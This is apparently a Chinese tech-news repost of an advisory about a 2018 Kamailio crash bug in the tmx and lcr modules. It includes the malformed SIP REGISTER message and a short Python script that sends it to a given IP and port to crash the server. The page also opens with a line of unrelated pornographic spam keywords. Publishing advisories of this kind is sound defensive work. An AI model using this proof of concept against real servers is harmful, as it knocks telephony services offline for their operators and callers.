欧美性猛交xxxx乱大交hd,一级黄色大片免费观看,精品国产免费一区二区三区香蕉,免费视频二区,中国免费黄色片,91碰碰视频,亚洲21p

您當前的位置是:  首頁 > 新聞 > 國內 >
 首頁 > 新聞 > 國內 >

爆kamailio 安全問題影響tmx和lcr module模塊

2018-03-21 11:08:59   作者:james.zhu   來源:Asterisk開源派   評論:0  點擊:


  kamailio 版本4.4.5.0 和5.1模塊爆安全問題,tmx模塊和lcr模塊可能收到影響。攻擊者可根據(jù)模塊漏洞通過tag 方式使用非法的branch或from tag對kamailio進行攻擊,可導致kamalio崩潰。tmx 模塊負責對transaction management 進行管理,LCR則負責是一個最低資費路由模塊。如果用戶沒有使用以上兩個模塊,則無影響,如果使用了以上兩個模塊,官方建議盡快升級到最新版本。
  以下是通過SIP tag 攻擊kamailio導致軟交換崩潰的消息:
  • REGISTER sip:localhost:5060 SIP/2.0
  • Via: SIP/2.0/TCP 127.0.0.1:53497;branch=z9hG4bK0aa9ae17-25cb-4c3a-abc9-979ce5bee394
  • To: <sip:1@localhost:5060>
  • From: Test <sip:2@localhost:5060>;tag=bk1RdYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaRg
  • Call-ID: 8b113457-c6a6-456a-be68-606686d93c38
  • Contact: sip:1@127.0.0.1:53497
  • Max-Forwards: 70
  • CSeq: 10086 REGISTER
  • User-Agent: go SIP fuzzer/1
  • Content-Length: 0
  使用的Python 代碼攻擊方式如下,
  python crash.py <ip> <port>
  #!/usr/bin/env python
  import socket
  import sys
  PROTO = "udp"
  SERVER_IP = "127.0.0.1"
  SERVER_PORT = 5060
  for _ in range(2):
  • sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  • sock.connect((sys.argv[1], int(sys.argv[2])))
  • msg = "REGISTER sip:localhost:5060 SIP/2.0\r\n" \
  • "Via: SIP/2.0/TCP 127.0.0.1:53497;branch=z9hG4bK0aa9ae17-25cb-4c3a-abc9-979ce5bee394\r\n" \
  • "To: <sip:1@localhost:5060>\r\n" \
  • "From: Test <sip:2@localhost:5060>;tag=bk1RdYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaRg\r\n" \
  • "Call-ID: 8b113457-c6a6-456a-be68-606686d93c38\r\n" \
  • "Contact: sip:1@127.0.0.1:53497\r\n" \
  • "Max-Forwards: 70\r\n" \
  • "CSeq: 10086 REGISTER\r\n" \
  • "User-Agent: go SIP fuzzer/1\r\n" \
  • "Content-Length: 0\r\n" \
  • "\r\n"
  sock.sendall(msg)
  具體補防漏洞的方式主要通過對 R-URI的字符串長度進行檢查。
  請查看官方網站的cfg配置:
  https://www.kamailio.org/w/2018/03/kamailio-security-announcement-tmx-lcr/
  關注微信公眾號:asterisk-cn,獲得有價值的行業(yè)分享
  開源IPPBX論壇:www.ippbx.org.cn
  Asterisk, freepbx技術文檔: www.freepbx.org.cn
  融合通信商業(yè)解決方案首選產品:www.hiastar.com
【免責聲明】本文僅代表作者本人觀點,與CTI論壇無關。CTI論壇對文中陳述、觀點判斷保持中立,不對所包含內容的準確性、可靠性或完整性提供任何明示或暗示的保證。請讀者僅作參考,并請自行承擔全部責任。

專題